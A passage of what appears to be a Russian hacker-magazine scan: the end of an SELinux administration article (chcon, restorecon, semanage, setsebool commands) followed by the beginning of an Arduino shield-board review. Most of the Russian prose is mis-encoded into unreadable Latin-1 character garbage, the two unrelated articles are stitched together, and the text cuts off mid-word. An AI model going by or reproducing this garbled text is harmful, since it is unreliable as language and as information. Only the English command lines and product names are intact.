ÃÆÅÆÓ ÏØÆÎÝ ÉÎÕÏÑÍÁÓÉÃÎÏÆ ÒÏÏÂÚÆÎÉÆ, ÄÅÆ ÂÔÅÔÓ ÏÐÉÒÁÎÜ 
ÃÒÆ ÏÂÒÓÏàÓÆÌÝÒÓÃÁ ÐÑÏÉÈÏÙÆÅÙÆÄÏ, ÐÑÉØÉÎÜ, ÐÏ ËÏÓÏÑÜÍ 
ÏÎÉ ÍÏÄÌÉ ÃÏÈÎÉËÎÔÓÝ, Á ÓÁËÇÆ ÐÔÓÉ ÑÆÙÆÎÉà ÐÑÏÂÌÆÍÜ.
£ ÎÁÙÆÍ ÒÌÔØÁÆ ÐÑÉØÉÎÁ ÐÑÏÒÓÁ: ÁÅÍÉÎ ÐÆÑÆÍÆÒÓÉÌ ÕÁÊÌ 
index.html ÉÈ ÒÃÏÆÄÏ ÅÏÍÁÙÎÆÄÏ ËÁÓÁÌÏÄÁ Ò ÐÏÍÏÚÝß mv, 
ÃÜÒÓÁÃÉÌ ÎÁ ÎÆÄÏ ÎÔÇÎÏÄÏ ÃÌÁÅÆÌÝ×Á É ÐÑÁÃÁ, ÎÏ ÈÁÂÜÌ ÉÈ-
ÍÆÎÉÓÝ ËÏÎÓÆËÒÓ. £ÜÖÏÅÁ ÉÈ ÒÉÓÔÁ×ÉÉ ÅÃÁ. ¬ÉÂÏ ÐÑÉÒÃÏÉÓÝ 
ÕÁÊÌÔ ÐÑÁÃÉÌÝÎÜÊ ËÏÎÓÆËÒÓ Ò ÐÏÍÏÚÝß ËÏÍÁÎÅÜ chcon:

# chcon -t httpd_sys_content_t \
   /var/www/html/index.html

¬ÉÂÏ ÈÁÒÓÁÃÉÓÝ ÒÉÒÓÆÍÔ «ÒÂÑÏÒÉÓÝ» ËÏÎÓÆËÒÓ ÃÒÆÖ ÕÁÊÌÏÃ 
ËÁÓÁÌÏÄÁ:

# restorecon -v /var/www/html

°ÏÒÌÆ ÐÆÑÆÈÁÐÔÒËÁ Apache ÃÒÆ ÅÏÌÇÎÏ ÂÜÓÝ ok. ̄ ÅÎÁËÏ ÞÓÏÓ 
ÍÆÓÏÅ ÎÆ ÒÑÁÂÏÓÁÆÓ, ÆÒÌÉ ÍÜ ÈÁÖÏÓÉÍ ÐÆÑÆÍÆÒÓÉÓÝ ËÏÑÎÆÃÏÊ 
ËÁÓÁÌÏÄ Apache Ã ÅÑÔÄÏÆ ÍÆÒÓÏ (ÎÁÐÑÉÍÆÑ, Ã /www). ¥ÆÌÏ 

Ã ÓÏÍ, ØÓÏ chcon ÉÈÍÆÎàÆÓ ËÏÎÓÆËÒÓ ÓÏÌÝËÏ ÅÏ ÒÌÆÅÔßÚÆÊ 
ÐÆÑÆÉÎÅÆËÒÁ×ÉÉ, Ò ÐÏÍÏÚÝß restorecon, ËÏÓÏÑÁà ÒÂÑÏÒÉÓ 
ËÏÎÓÆËÒÓ ÕÁÊÌÏÃ ËÁÓÁÌÏÄÁ /www ÅÏ default_t (ÐÏ ÐÑÁÃÉÌÁÍ 
ÐÏÌÉÓÉËÉ ÃÒÆ ËÁÓÁÌÏÄÉ, ÎÆ ÉÍÆßÚÉÆ ÑÏÅÉÓÆÌÝÒËÏÄÏ ËÁÓÁ-
ÌÏÄÁ, É ÉÖ ÕÁÊÌÜ ÐÏÌÔØÁßÓ ÓÁËÏÊ ÓÉÐ). °ÏÞÓÏÍÔ ÍÜ ÅÏÌÇÎÜ 
ÉÈÍÆÎÉÓÝ ÒÁÍÔ ÐÏÌÉÓÉËÔ:

# semanage fcontext -a -t httpd_sys_content_t /www
# restorecon -v /www

°ÆÑÃÁà ËÏÍÁÎÅÁ ÉÈÍÆÎÉÓ ÐÏÌÉÓÉËÔ ÓÁË, ØÓÏÂÜ ÅÆÕÌÓÏÃÜÍ 
ÓÉÐÏÍ ÅÌà ËÁÓÁÌÏÄÁ /www É ÆÄÏ ÒÏÅÆÑÇÉÍÏÄÏ ÂÜÌ httpd_
sys_content_t, Á ÃÓÏÑÁà ÒÂÑÏÒÉÓ ËÏÎÓÆËÒÓ ÆÄÏ ÕÁÊÌÏÃ, ÓÁË ØÓÏ 
ÏÎÉ ÐÏÌÔØÁÓ ÓÏÓ ÇÆ ÓÉÐ (ÐÑÁÃÉÌÁ SELinux ÅÏÐÔÒËÁßÓ, ØÓÏÂÜ 
ÅÆÕÏÌÓÏÃÜÆ ÍÆÓËÉ ËÁÓÁÌÏÄÏÃ É ÉÖ ÒÏÅÆÑÇÉÍÏÄÏ ÏÓÌÉØÁÌÉÒÝ, 
ÎÏ ÅÌà ÔÅÏÂÒÓÃÁ semanage ÅÆÌÁÆÓ ÉÖ ÏÅÉÎÁËÏÃÜÍÉ).
³ÁËÇÆ semanage ÍÏÇÆÓ ÂÜÓÝ ÉÒÐÏÌÝÈÏÃÁÎÁ ÅÌà ÐÑÏÒÍÏÓÑÁ 
ÒÐÉÒËÁ ÍÆÓÁ-ÐÑÁÃÉÌ:

# semanage boolean -l

² ÐÏÍÏÚÝß ÍÆÓÁ-ÐÑÁÃÉÌ ÍÏÇÎÏ ËÏÎÓÑÏÌÉÑÏÃÁÓÝ ÓÁËÉÆ 
ÁÒÐÆËÓÜ ÑÁÂÏÓÜ ÐÑÉÌÏÇÆÎÉÊ, ËÁË, ÎÁÐÑÉÍÆÑ, ÃÏÈÍÏÇ-
ÎÏÒÓÝ ÃÆÂ-ÒÆÑÃÆÑÁ ÐÏÅËÌßØÁÓÝÒà Ë ÔÅÁÌÆÎÎÏÊ ÂÁÈÆ ÅÁÎÎÜÖ 
(httpd_can_network_connect_db) ÉÌÉ ÑÁÈÑÆÙÆÎÉÆ ftp-
ÒÆÑÃÆÑÁ ØÉÓÁÓÝ ÕÁÊÌÜ ÅÏÍÁÙÎÆÄÏ ËÁÓÁÌÏÄÁ ÐÏÌÝÈÏÃÁÓÆÌÆÊ 
(ftp_home_dir) É Ó.Å. ³ÁËÉÆ ÐÑÁÃÉÌÁ ÄÑÔÐÐÉÑÔßÓ Ã ÒÆÂÆ ÂÏÌÝ-
ÙÏÆ ËÏÌÉØÆÒÓÃÏ ÎÉÈËÏÔÑÏÃÎÆÃÜÖ ÐÑÁÃÉÌ, ØÓÏ ÒÔÚÆÒÓÃÆÎÎÏ 
ÔÐÑÏÚÁÆÓ ÇÉÈÎÝ ÒÉÒÁÅÍÉÎÁ.
¸ÓÏÂÜ ÃËÌßØÉÓÝ/ÏÓËÌßØÉÓÝ ÓÏ ÉÌÉ ÉÎÏÆ ÐÑÁÃÉÌÏ, ÍÏÇÎÏ 
ÉÒÐÏÌÝÈÏÃÁÓÝ ËÏÍÁÎÅÔ setsebool:

# setsebool httpd_can_network_connect_db on
# setsebool httpd_can_network_connect_db off

´ËÁÈÁÃ ÕÌÁÄ «-P», ÍÏÇÎÏ ÒÅÆÌÁÓÝ ÞÓÉ ÐÑÁÃÉÌÁ ÐÏÒÓÏàÎÎÜÍÉ 
ÍÆÇÅÔ ÐÆÑÆÈÁÄÑÔÈËÁÍÉ. £ ÒÁÍÏÍ ËÑÁÊÎÆÍ ÒÌÔØÁÆ semanage 
ÍÏÇÎÏ ÉÒÐÏÌÝÈÏÃÁÓÝ ÅÌà ÐÏÌÎÏÄÏ ÏÓËÌßØÆÎÉà ÐÑÏÃÆÑÏË 
SELinux Ã ÏÓÎÏÙÆÎÉÉ ÏÐÑÆÅÆÌÆÎÎÏÄÏ ÒÔÂÛÆËÓÁ:

# semanage permissive -a httpd_t

£ËÌßØÆÎÉÆ ÐÑÏÉÈÃÏÅÉÓÒà Ò ÐÏÍÏÚÝß ÐÏÖÏÇÆÊ ËÏÍÁÎÅÜ:

# semanage permissive -d httpd_t

Выводы
SELinux ÅÁÌÆËÏ ÎÆ ÓÁË ÒÓÑÁÙÆÎ, ËÁË Ï ÎÆÍ ÄÏÃÏÑàÓ. ²ÉÒÓÆÍÁ 
ÖÏÓÝ É ÒÌÏÇÎÁ Ã ÐÏÎÉÍÁÎÉÉ, ÎÏ ÎÆÃÆÑÏàÓÎÏ ÌÏÄÉØÎÁ É ÔÅÏÂÎÁ 
Ã ÒÏÐÑÏÃÏÇÅÆÎÉÉ, Á ÉÍÆßÚÉÆÒà ÒÑÆÅÒÓÃÁ ÔÐÑÁÃÌÆÎÉà ÐÏ-
ÈÃÏÌàßÓ ÏØÆÎÝ ÓÏØÎÏ ÅÉÁÄÎÏÒÓÉÑÏÃÁÓÝ ÐÑÏÂÌÆÍÜ É ÌÆÄËÏ ÉÖ 
ÔÒÓÑÁÎàÓÝ.  z

Управлять SELinux можно и с помо-
щью файловой системы selinuxfs

°Ï ÔÍÏÌØÁÎÉß tar ÎÆ 
ÒÏÖÑÁÎàÆÓ ËÏÎÓÆËÒÓÜ 
ÂÆÈÏÐÁÒÎÏÒÓÉ ÕÁÊÌÏÃ, 
ØÓÏ ÍÏÇÆÓ ÐÑÉÃÆÒÓÉ 
Ë ÐÑÏÂÌÆÍÁÍ ÐÑÉ ÐÏ-
ÒÌÆÅÔßÚÆÊ ÑÁÒÐÁËÏÃ-
ËÆ. µÌÁÄ «--selinux» 
ÉÒÐÑÁÃÌàÆÓ ÞÓÏ.

warning

WARNING

°ÏÅÒÉÒÓÆÍÁ SELinux 
ÏÓÑÁÂÁÓÜÃÁÆÓ ÐÏÒÌÆ 
ËÌÁÒÒÉØÆÒËÏÄÏ ÍÆÖÁ-
ÎÉÈÍÁ ÔÐÑÁÃÌÆÎÉà ÅÏ-
ÒÓÔÐÏÍ UNIX, ÐÏÞÓÏÍÔ 
Ò ÆÄÏ ÐÏÍÏÚÝß ÎÆÌÝÈà 
ÑÁÈÑÆÙÉÓÝ ÓÏ, ØÓÏ 
ÔÇÆ ÈÁÐÑÆÚÆÎÏ Ò ÐÏ-
ÍÏÚÝß ÓÑÁÅÉ×ÉÏÎÎÜÖ 
ÐÑÁÃ ÅÏÒÓÔÐÁ.

info

INFO

semanage port -l: cписок портов и их 
типов объектов 

semanage boolean -l: cписок мета-
правил SELinux
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PHREAKING
 ©ÌÝà  id  ¥ÁÎÉÌÏÃ  (mk90.ru)

  Arduino — êðîõîòíàÿ ïëàòà ñ áîëüøèìè âîçìîæíîñòÿìè, òèïè÷íûé 
ïðåäñòàâèòåëü Open Hardware è îäíî èç ïåðâûõ óñòðîéñòâ, 
çàâîåâàâøèõ øèðîêóþ ïîïóëÿðíîñòü ó àïïàðàòíûõ õàêåðîâ. Íå 
ìóäðåíî: óäîáíûé ýëåêòðîííûé êîíñòðóêòîð ïîçâîëÿåò äàæå 
íîâè÷êàì áûñòðî ðàçîáðàòüñÿ è íà÷àòü ñ íóëÿ ðàçðàáàòûâàòü 
ñîáñòâåííûå óñòðîéñòâà.

Îáçîð ëó÷øèõ Shield-ïëàò äëÿ Arduino

ÝËÅÊÒÐÎÍÍÛÉ 
ÊÎÍÑÒÐÓÊÒÎÐ

Как быстро начать?
¥Ìà ÂÜÒÓÑÏÄÏ ÎÁØÁÌÁ ÎÏÃÉØËÔ ÐÑÏÚÆ ÃÒÆÄÏ ËÔÐÉÓÝ ÄÏÓÏÃÔß ÐÌÁÓÔ — 
ÒÓÏÉÓ ÏÎÁ ÐÑÉÍÆÑÎÏ $30. ®Á ÐÌÁÓÆ ÂÔÅÆÓ ÃÒÆÄÏ ÅÃÁ ØÉÐÁ — ÍÉËÑÏ-
ËÏÎÓÑÏÌÌÆÑ ATMEL É ÍÉËÑÏÒÖÆÍÁ USB-ÉÎÓÆÑÕÆÊÒÁ, Ë ËÏÓÏÑÏÊ ÏÎ 
ÐÏÅËÌßØÆÎ. £ÒÆ ÏÒÓÁÌÝÎÜÆ ÞÌÆÍÆÎÓÜ ÅÏÂÁÃÌàßÓÒà ÒÁÍÏÒÓÏàÓÆÌÝÎÏ 
ÐÏ ÍÆÑÆ ÎÆÏÂÖÏÅÉÍÏÒÓÉ.
°ÑÏÄÑÁÍÍÜ ÅÌà Arduino (ÎÁÈÜÃÁÆÍÜÆ ÎÁ ÒÌÆÎÄÆ «ÒËÆÓØÁÍÉ») ÐÉÙÔÓ-
Òà ÎÁ àÈÜËÆ Wiring. °Ï ÒÔÓÉ, ÞÓÏ ÏÂÜØÎÜÊ C++, ÑÁÒÙÉÑÆÎÎÜÊ ÒÐÆ-
×ÉÁÌÝÎÜÍÉ ÐÑÏ×ÆÅÔÑÁÍÉ ÓÉÐÁ «digitalWrite» (ÈÁÐÉÒÁÓÝ ÈÎÁØÆÎÉÆ Ã 
ÐÏÑÓ) ÉÌÉ «analogRead» (ÐÑÏØÉÓÁÓÝ ÈÎÁØÆÎÉÆ ÉÈ ¡·°). ¯ÒÃÁÉÃÁÆÓÒà 
ÃÒÆ ÞÓÏ Ã ÏÅÉÎ-ÅÃÁ ÐÑÉÒÆÒÓÁ, ÏÒÏÂÆÎÎÏ ÆÒÌÉ Ô ÓÆÂà ÔÇÆ ÆÒÓÝ ÏÐÜÓ 
ÐÑÏÄÑÁÍÍÉÑÏÃÁÎÉà ÎÁ C++. ®ÁÐÉÒÁÎÎÜÆ ÒËÆÓØÉ ËÏÍÐÉÌÉÑÔßÓÒà É 
ÈÁÄÑÔÇÁßÓÒà Ã Arduino ØÆÑÆÈ USB Ò ÐÏÍÏÚÝß ÒÑÆÅÜ ArduinoIDE 
(arduino.cc/en/Main/Software). ¸ÓÏÂÜ ÒÏÂÑÁÓÝ ÐÑÏÒÓÆÊÙÉÊ ÐÑÏÆËÓ 
ÓÑÆÂÔßÓÒà ËÁËÉÆ-ÓÏ ÍÉÎÔÓ ÓÑÉÅ×ÁÓÝ, ÂÆÈ ÎÆÏÂÖÏÅÉÍÏÒÓÉ ÄÌÔÂÏËÏÄÏ 
ÐÏÄÑÔÇÆÎÉà Ã ÅÁÓÁÙÉÓÜ ATMEL É ËÏÎÒÓÑÔË×ÉÉ ÁÒÒÆÍÂÌÆÑÁ. ÀÈÜË 
ÉÎÓÔÉÓÉÃÎÏ ÐÏÎàÓÆÎ, Á ÑÁÈÏÂÑÁÓÝÒà Ò ÎßÁÎÒÁÍÉ ÐÏÍÏÇÆÓ ÎÆÐÌÏÖÏÊ 
ÏÎÌÁÊÎ-ÖÆÌÐ. ¥Á É ÐÁàÓÝ, ËÒÓÁÓÉ, ÓÏÇÆ ÎÆÏÂàÈÁÓÆÌÝÎÏ, ÆÒÌÉ ÆÒÓÝ 
ÂÆÒÐÁÆØÎÁà ÍÁËÆÓËÁ É ÎÁÂÏÑ ÐÑÏÃÏÅËÏÃ.
£ÒÆ ÃÜÃÏÅÜ ÍÉËÑÏËÏÎÓÑÏÌÌÆÑÁ ÃÜÃÆÅÆÎÜ ÎÁ ÅÃÁ ÁËËÔÑÁÓÎÜÖ ÑàÅÁ 
ËÏÌÏÅÏË, Ë ËÏÓÏÑÜÍ ÍÏÇÎÏ ÐÏÅËÌßØÁÓÝ ÅÁÓØÉËÉ, ËÎÏÐËÉ, ÅÉÒÐÌÆÉ 
É ÓÏÍÔ ÐÏÅÏÂÎÏÆ. ¯ÅÎÁËÏ, ØÆÍ ÒÌÏÇÎÆÆ ÏÂÃàÈËÁ, ÓÆÍ ÂÏÌÝÙÆ Ò ÎÆÊ 
ÍÏÇÆÓ ÂÜÓÝ ÄÆÍÏÑÑÏà. ¦ÒÌÉ ÑÆØÝ ÉÅÆÓ ÐÑÏ ÐÁÑÔ ÒÃÆÓÏÅÉÏÅÏÃ É 
ËÎÏÐÏË, ÓÏ ÎÉËÁËÉÖ ÒÌÏÇÎÏÒÓÆÊ. ®Ï ÃÏÓ ÆÒÌÉ ÓÑÆÂÔÆÓÒà ÔÐÑÁÃÌàÓÝ 
ÍÏÓÏÑÁÍÉ ÉÌÉ ÏÂÍÆÎÉÃÁÓÝÒà ÅÁÎÎÜÍÉ ØÆÑÆÈ ÑÁÅÉÏÉÎÓÆÑÕÆÊÒ, ÃÏÈ-
ÎÉËÁÆÓ ÑàÅ ÒÌÏÇÎÏÒÓÆÊ. ¥Ìà ÂÏÑÝÂÜ Ò ÞÓÉÍ ÐÏÑÏËÏÍ É ÐÑÉÅÔÍÁÌÉ 
ÙÉÌÅ-ÐÌÁÓÜ — ÄÏÓÏÃÜÆ ÐÌÁÓÜ ÅÌà ÑÁÒÙÉÑÆÎÉà ÕÔÎË×ÉÏÎÁÌÝÎÏÒÓÉ.

Что такое Shield-плата?
Shield-ÐÌÁÓÁ — ÞÓÏ ÄÏÓÏÃÏÆ ÑÆÙÆÎÉÆ ÅÌà ÑÆÁÌÉÈÁ×ÉÉ ØÁÒÓÜÖ ÈÁÅÁØ, 
ÃÒÓÁßÚÉÖ ÐÆÑÆÅ ÑÁÈÑÁÂÏÓØÉËÁÍÉ ÇÆÌÆÈÁ. °ÑÉÍÆÑÁÍÉ ÓÁËÉÖ ÈÁÅÁØ 
ÍÏÄÔÓ ÂÜÓÝ É ÐÆÑÆÅÁØÁ ÅÁÎÎÜÖ ØÆÑÆÈ ÑÁÅÉÏÉÎÓÆÑÕÆÊÒ, É ÑÁÂÏÓÁ 

Ò Ethernet, É ÔÐÑÁÃÌÆÎÉÆ ÞÌÆËÓÑÏÎÎÜÍÉ ÅÃÉÄÁÓÆÌàÍÉ. °ÌÁÓÜ ÑÁÒ-
ÙÉÑÆÎÉà ÌÆÄËÏ ÔÒÓÁÎÁÃÌÉÃÁßÓÒà ÎÁ Arduino, ÒÓÜËÔàÒÝ Ò ËÏÌÏÅËÁÍÉ 
ÐÉÎÏÃ É ÏÂÑÁÈÔà ÃÆÒÝÍÁ ÇÆÒÓËÔß ÂÔÓÆÑÂÑÏÅÏÏÂÑÁÈÎÔß ËÏÎÒÓÑÔË×Éß. 
ÏÇÎÏ ÔÒÓÁÎÁÃÌÉÃÁÓÝ ÎÆÒËÏÌÝËÏ ÐÌÁÓ ÏÅÎÏÃÑÆÍÆÎÎÏ, ÄÌÁÃÎÏÆ, ØÓÏÂÜ 
ÔÒÓÑÏÊÒÓÃÁ ÎÆ ËÏÎÕÌÉËÓÏÃÁÌÉ ÈÁ ÏÅÎÉ É ÓÆ ÇÆ ÐÉÎÜ Arduino. ®ÆÍÎÏÄÏ 
ÐÏËÏÐÁÃÙÉÒÝ Ã ÒÆÓÉ, ÍÏÇÎÏ ÎÁÊÓÉ ÓÁÂÌÉ×Ü ÒÏ ÒÐÉÒËÏÍ ÐÏÐÔÌàÑÎÜÖ 
ÙÉÌÅÏÃ É ÈÁÎàÓÜÖ ÉÍÉ ÐÉÎÏÃ (shieldlist.org).
¥ÁÌÝÙÆ ÏÒÓÁÆÓÒà ÌÉÙÝ ÐÏÅ×ÆÐÉÓÝ ÒÏÏÓÃÆÓÒÓÃÔßÚÔß ÂÉÂÌÉÏÓÆËÔ Ë 
ÏÒÎÏÃÎÏÍÔ ÒËÆÓØÔ É ÏÐÑÏÂÏÃÁÓÝ ÑÁÂÏÓÔ ÒÖÆÍÜ Ò ÐÏÍÏÚÝß ÐÑÉÌÁÄÁÆ-
ÍÏÄÏ Ë ÂÉÂÌÉÏÓÆËÆ ÒËÆÓØÁ-ÐÑÉÍÆÑÁ. °ÑÉ ÓÁËÏÍ ÐÏÅÖÏÅÆ ÃÑÆÍà ÞËÏÎÏ-
ÍÉÓÒà ÅÃÁÇÅÜ: ÒÎÁØÁÌÁ ÎÁ ÑÁÈÑÁÂÏÓËÔ É ÏÓÌÁÅËÔ ÁÐÐÁÑÁÓÎÏÊ ØÁÒÓÉ, Á 
ÈÁÓÆÍ — ÐÑÏÄÑÁÍÍÎÏÊ. ¯ÅÎÁËÏ ÐÏ-ÎÁÒÓÏàÚÆÍÔ ÔÅÁØÎÜÖ É ÐÏÐÔÌàÑÎÜÖ 
ÙÉÌÅ-ÐÌÁÓ ÒÔÚÆÒÓÃÔÆÓ ÃÒÆÄÏ ÐÁÑÁ ÅÆÒàÓËÏÃ. ¸ÆÍ ÖÏÑÏÙÉÊ ÙÉÌÅ 
ÏÓÌÉØÁÆÓÒà ÏÓ ÐÌÏÖÏÄÏ?
£ ÐÆÑÃÔß ÏØÆÑÆÅÝ, ÎÁ ÎÆÍ ÏÂàÈÁÎÁ ÂÜÓÝ ËÎÏÐËÁ ÒÂÑÏÒÁ. ¯×ÆÎÉÓÝ 
ÞÓÏ ÍÏÇÆÓ ÌßÂÏÊ, ËÓÏ ÏÓÌÁÇÉÃÁÌ Arduino Ò ÏÅÆÓÜÍ ÙÉÌÅÏÍ — ÙÓÁÓ-
ÎÁà ËÎÏÐËÁ ÒÂÑÏÒÁ ÒÓÁÎÏÃÉÓÒà ÎÆÅÏÒÓÔÐÎÏÊ É ÔÐÑÁÇÎÆÎÉà ÐÏ ÆÆ 
ÎÁÇÉÍÁÎÉß ÐÑÉ ÐÏÍÏÚÉ ÐÏÅÑÔØÎÜÖ ÐÑÏÅÏÌÄÏÃÁÓÜÖ ÐÑÆÅÍÆÓÏÃ 
ÐÏÑàÅËÏÍ ÑÁÈÅÑÁÇÁßÓ. ¶ÏÑÏÙÉÊ ÙÉÌÅ ÓÁËÇÆ ÅÏÌÇÆÎ ÂÜÓÝ ÒÏÃÍÆ-
ÒÓÉÍ Ò Arduino Mega — ÆÒÌÉ Ô ÓÆÂà ÑÁÒÙÉÑÆÎÎÁà ÃÆÑÒÉà Arduino ÎÁ 
ATmega1280 ÉÌÉ ATmega2560, ÆÚÆ ÎÆ ÕÁËÓ, ØÓÏ Ò ÎÆÊ ÈÁÑÁÂÏÓÁÆÓ 
ÙÉÌÅ, ÒÏÈÅÁÎÎÜÊ ÅÌà ÐÑÉÃÜØÎÏÊ Uno ÉÌÉ Duemilanova. ¡ ÃÒÆ ÉÈ-ÈÁ 
ÓÏÄÏ, ØÓÏ Ã Mega ÏÓÃÆØÁßÚÉÆ ÈÁ ÁÐÐÁÑÁÓÎÜÊ SPI ÐÉÎÜ ÐÆÑÆÎÆÒÌÉ Ã 
ÅÑÔÄÏÆ ÍÆÒÓÏ! ³ÁË ØÓÏ ÆÒÌÉ ÙÉÌÅ ÏÂÚÁÆÓÒà Ò Arduino ÐÏ ÙÉÎÆ SPI, 
ÏÂàÈÁÓÆÌÝÎÏ ÉÈÔØÉ ÆÄÏ «ÂÑßÖÏ» — ÎÁÅÆàÓÝÒà ÎÁ ÒÏÃÍÆÒÓÉÍÏÒÓÝ Ò 
Mega ÍÏÇÎÏ, ÆÒÌÉ ÓÜ ÔÃÉÅÉÙÝ ÓÁÍ ÎÆ ÓÏÌÝËÏ ÙÓÜÑÝËÉ, ÎÏ É ØÆÑÎÜÊ 
ËÃÁÅÑÁÓÎÜÊ ÑÁÈÛÆÍ-ÑÏÈÆÓËÔ 2Ö3. ®ÉÇÆ à ÐÏÅÄÏÓÏÃÉÌ ÏÂÈÏÑ ÌÔØÙÉÖ 
ÄÏÓÏÃÜÖ Shield-ÐÌÁÓ ÅÌà ÑÆÙÆÎÉà ØÁÒÓÜÖ ÈÁÅÁØ.

Управление моторами
¦ÒÌÉ ÎÆÏÂÖÏÅÉÍÏ ÔÐÑÁÃÌàÓÝ ÍÏÓÏÑÁÍÉ, ÒÍÆÌÏ ÉÒÐÏÌÝÈÔÊ ÙÉÌÅ 
Motorshield, ÒÏÈÅÁÎÎÜÊ ÓÁÌÁÎÓÌÉÃÜÍ ÁÍÆÑÉËÁÎÒËÉÍ ÉÎÇÆÎÆÑÏÍ 
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¬ÉÍÏÑÏÍ µÑÉÅÏÍ aka ladyada (ladyada.net/make/mshield/). 
¤ÌÁÃÎÏÆ ÐÑÆÉÍÔÚÆÒÓÃÏ ÙÉÌÅÁ ÈÁËÌßØÁÆÓÒà Ã ÆÄÏ ÔÎÉÃÆÑÒÁÌÝÎÏ-
ÒÓÉ, ÐÏÒËÏÌÝËÔ ÏÎ ÐÏÅÅÆÑÇÉÃÁÆÓ ÅÏ ØÆÓÜÑÆÖ ÍÏÓÏÑÏÃ ÐÑàÍÏÄÏ ÓÏËÁ, 
ÅÏ ÅÃÔÖ ÙÁÄÏÃÜÖ ÅÃÉÄÁÓÆÌÆÊ É ÅÃÔÖ ÒÆÑÃÏ-ÐÑÉÃÏÅÏÃ. ÏÇÎÏ ËÏÍ-
ÂÉÎÉÑÏÃÁÓÝ: ÎÁÐÑÉÍÆÑ, ÏÅÉÎ ÙÁÄÏÃÜÊ É ÅÃÁ ÅÃÉÄÁÓÆÌà ÐÏÒÓÏàÎÎÏ-
ÄÏ ÓÏËÁ. ¯ÒÎÏÃÔ ÙÉÌÅÁ ÏÂÆÒÐÆØÉÃÁßÓ ÅÃÆ ÍÉËÑÏÒÖÆÍÜ ÒØÆÓÃÆÑÆÎ-
ÎÏÄÏ H-ÍÏÒÓÁ L293D, ÒÐÏÒÏÂÎÜÆ ÃÜÅÁÃÁÓÝ ÓÏË ÅÏ 600 Í¡ ÎÁ ËÁÎÁÌ É 
ÑÁÂÏÓÁÓÝ ÎÁÐÑàÇÆÎÉàÍÉ ÏÓ 4,5 ÅÏ 36 £. ¨ÁÐÁÑÁÌÌÆÌÉÃ ÃÖÏÅÜ ÏÅÎÏÊ 
ÍÉËÑÏÒÖÆÍÜ, ÍÏÇÎÏ ÏÓÏÅÃÉÎÔÓÝ ÏÄÑÁÎÉØÆÎÉÆ ÐÏ ÓÏËÔ ÅÏ 1,2 ¡. ² 
ÐÏÍÏÚÝß ÞÓÏÄÏ ÙÉÌÅÁ ÍÏÇÎÏ, ÎÁÐÑÉÍÆÑ, ÔÐÑÁÃÌàÓÝ ÏÅÎÏÃÑÆÍÆÎÎÏ 
ÍÏÓÏÑÁÍÉ É ÑÔÌÆÃÏÊ ÓàÄÏÊ ÍÏÅÆÌÉ ÄÏÎÏØÎÏÄÏ ÁÃÓÏÍÏÂÉÌà, ÙÁÄÏÃÜ-
ÍÉ ÅÃÉÄÁÓÆÌàÍÉ ËÏÏÑÅÉÎÁÓÎÏÄÏ ÒÓÏÌÁ. ¥Ìà ÂÏÌÆÆ ÍÏÚÎÜÖ ÎÁÄÑÔÈÏË 
ÍÏÇÎÏ ÉÒÐÏÌÝÈÏÃÁÓÝ Ardumoto Ò ØÉÐÏÍ L298 ÏÓ ÕÉÑÍÜ Sparkfun 
(ÅÃÁ ËÁÎÁÌÁ Ò ÓÏËÁÍÉ ÎÁÄÑÔÈËÉ ÅÏ 2 ¡) ÉÌÉ ÆÆ ÂÏÌÆÆ ÐÑÏÅÃÉÎÔÓÔß 
ÃÆÑÒÉß Monster Moto Shield (sparkfun.com/products/10182) ÎÁ 
ÅÃÔÖ ØÉÐÁÖ VNH2SP30, ÒÐÏÒÏÂÎÔß ÏÓÅÁÃÁÓÝ ÔÇÆ ÅÏ 30 ¡ Ò ÐÑÆÅÆÌÝ-
ÎÜÍ ÎÁÐÑàÇÆÎÉÆÍ 41 £. ¦ÒÌÉ ÅÆÌÏ ÅÏÊÅÆÓ ÅÏ ÐÏÒÌÆÅÎÆÄÏ ÃÁÑÉ-
ÁÎÓÁ, ÎÆ ÈÁÂÔÅÝ ÐÏÒÏÃÆÓÏÃÁÓÝÒà ÒÏ ÈÎÁßÚÉÍÉ ÒÐÆ×ÁÍÉ: ÃÒÆ-ÓÁËÉ 
ÎÁÄÑÔÈËÉ ÅÏÃÏÌÝÎÏ ÐÑÉÌÉØÎÜÆ, ÃÏÈÍÏÇÎÏ ÐÑÉÅÆÓÒà ÏÂÈÁÃÆÒÓÉÒÝ 
ÅÏÐÏÌÎÉÓÆÌÝÎÜÍ ÑÁÅÉÁÓÏÑÏÍ, ØÓÏÂÜ ÎÆ ÏÂÇÆØÝÒà.

Работа с Ethernet
²ÔÚÆÒÓÃÔßÓ ÅÃÁ ÏÒÎÏÃÎÜÖ ÃÁÑÉÁÎÓÁ ÙÉÌÅÏÃ ÅÌà ÑÁÂÏÓÜ Ò Ethernet 
— ÎÁ ÏÒÎÏÃÆ ÒÓÁÑÏÄÏ ÅÏÂÑÏÄÏ ØÉÐÁ ENC28J60 ÏÓ Microchip É 
ÂÏÌÆÆ ÒÏÃÆÑÙÆÎÎÏÄÏ W5100 ÏÓ Wiznet. ¯ÂÁ ÑÆÙÆÎÉà ÉÒÐÏÌÝÈÔßÓ 
ÅÌà ÏÂÍÆÎÁ ÙÉÎÔ SPI, ÏÓÎÉÍÁà ÃÒÆÄÏ ØÆÓÜÑÆ ÐÉÎÁ Arduino. ®Ï 
ENC28J60 ÐÏàÃÉÌÒà ÍÎÏÄÏ ÑÁÎÝÙÆ É àÃÎÏ ÐÑÏÉÄÑÜÃÁÆÓ ÐÑÏÅÃÉÎÔ-
ÓÏÍÔ W5100: ÓÏÌÝËÏ 10 ÂÉÓ/Ò, ÎÆÓ ÁÐÐÁÑÁÓÎÏÊ ÐÏÅÅÆÑÇËÉ IP, UDP, 
TCP. «ÑÏÍÆ ÓÏÄÏ, W5100 ÐÏÈÃÏÌàÆÓ ÑÁÂÏÓÁÓÝ Ò ØÆÓÜÑÝÍà ÒÏËÆÓÁÍÉ 
(ØÓÏ ÏÈÎÁØÁÆÓ ÐÏÅÅÆÑÇËÔ ÅÏ ØÆÓÜÑÆÖ ÏÅÎÏÃÑÆÍÆÎÎÜÖ ÒÏÆÅÉÎÆÎÉÊ).
£ ÏÂÚÆÍ, ÎÁÒÓÏàÓÆÌÝÎÏ ÑÆËÏÍÆÎÅÔß ÉÒÐÏÌÝÈÏÃÁÓÝ ÉÍÆÎÎÏ W5100, 
ÐÏÓÏÍÔ ØÓÏ ÏÎ ÒÔÚÆÒÓÃÆÎÎÏ ÞËÏÎÏÍÉÓ ËÌßØÆÃÏÊ ÑÆÒÔÑÒ ÍÉËÑÏËÏÎ-
